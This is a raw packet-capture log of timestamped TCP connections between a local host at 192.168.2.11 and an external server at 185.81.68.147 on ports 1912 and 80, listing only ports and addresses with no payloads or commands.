Dec 13, 2024 08:19:15.266763926 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266808033 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266825914 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266881943 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266900063 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267004967 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267045021 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267101049 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267111063 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267131090 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267196894 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267323971 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267333984 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267384052 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267393112 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267448902 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267457962 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267554045 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267564058 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267607927 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267703056 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267712116 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267802954 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267865896 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267875910 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267885923 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267987967 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.267998934 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.268084049 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.268093109 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.268192053 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.268202066 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.268461943 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.268543959 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.271152020 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271178961 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271266937 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271277905 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271358013 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271392107 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271444082 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271507025 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271554947 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271606922 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271677017 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271704912 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271789074 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271821976 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271914005 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271923065 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271974087 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.271991968 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272146940 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272156000 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272241116 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272250891 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272377014 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272387028 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272428036 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272460938 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272569895 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272579908 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272654057 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272663116 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272707939 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272763968 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272855043 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272900105 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272929907 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.272977114 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273082018 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273092985 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273161888 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273173094 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273216009 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273264885 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273369074 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273386955 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273436069 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273454905 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273513079 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273578882 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273639917 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273693085 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273747921 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273757935 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273833990 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.273853064 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.274044037 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.274115086 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.287345886 CET	80	49791	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.287509918 CET	80	49791	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.287664890 CET	49791	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.288892031 CET	49791	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.388345957 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388468027 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388480902 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388492107 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388556957 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388566971 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388689041 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388700008 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388711929 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388827085 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388863087 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388884068 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388983965 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.388993979 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389163017 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389173985 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389183998 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389252901 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389324903 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389375925 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389518976 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389528990 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389708042 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389729023 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389853001 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389890909 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389950037 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.389971018 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390088081 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390098095 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390106916 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390110970 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390233040 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390244007 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390253067 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390260935 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390271902 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390317917 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390367031 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390415907 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390460968 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390512943 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390553951 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390572071 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390628099 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390678883 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390835047 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390844107 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.390945911 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.391021967 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.391072989 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.391082048 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.391180038 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.391236067 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.391465902 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.391576052 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.393868923 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.393938065 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394088030 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394170046 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394179106 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394212961 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394294024 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394381046 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394390106 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394433975 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394500017 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394535065 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394661903 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394682884 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394823074 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.394840956 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395065069 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395073891 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395082951 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395128012 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395268917 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395277977 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395364046 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395427942 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395437002 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395445108 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395514011 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395523071 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395570040 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395586967 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395674944 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395693064 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395817041 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395838022 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395904064 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395915031 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.395982981 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396080017 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396092892 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396106005 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396166086 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396203995 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396344900 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396353960 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396363020 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396393061 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396475077 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396617889 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396627903 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396636009 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396711111 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396821022 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396831036 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.396838903 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.397083998 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.402981997 CET	49793	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.408592939 CET	80	49791	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511302948 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511364937 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511374950 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511449099 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511503935 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511512995 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511619091 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511729956 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511738062 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511778116 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511892080 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511933088 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511974096 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.511982918 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512135029 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512144089 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512173891 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512191057 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512347937 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512357950 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512453079 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512461901 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512526035 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512578964 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512672901 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512728930 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512835026 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512844086 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512852907 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512892008 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512902021 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.512984037 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513000965 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513010025 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513051987 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513070107 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513149977 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513159037 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513246059 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513254881 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513298035 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513392925 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513405085 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513531923 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513540030 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513612032 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513621092 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513632059 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513739109 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513748884 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513859034 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513869047 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513912916 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.513921976 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.516973972 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517030954 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517124891 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517174006 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517293930 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517365932 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517376900 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517471075 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517532110 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517544985 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517740011 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517750025 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517899990 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517910004 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.517965078 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518023968 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518098116 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518106937 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518244982 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518255949 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518358946 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518430948 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518484116 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518537998 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518676043 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518686056 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518770933 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518830061 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518955946 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.518965960 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519141912 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519151926 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519221067 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519267082 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519304037 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519429922 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519443035 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519490004 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519541979 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519552946 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519754887 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.519764900 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.523089886 CET	80	49793	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.523303986 CET	49793	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.523392916 CET	49793	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.643040895 CET	80	49793	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.644877911 CET	49793	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.764712095 CET	80	49793	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.933443069 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.980688095 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:16.091898918 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:16.214590073 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:16.524678946 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:16.536535978 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:16.656416893 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:16.969343901 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:16.972311020 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.093766928 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.122733116 CET	80	49793	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.122752905 CET	80	49793	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.122843981 CET	49793	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.124592066 CET	49793	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.231187105 CET	49798	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.244750023 CET	80	49793	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.350980043 CET	80	49798	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.351066113 CET	49798	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.351145983 CET	49798	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.406563044 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.407691956 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.470961094 CET	80	49798	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.471020937 CET	49798	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.527375937 CET	1912	49760	185.81.68.147	192.168.2.11
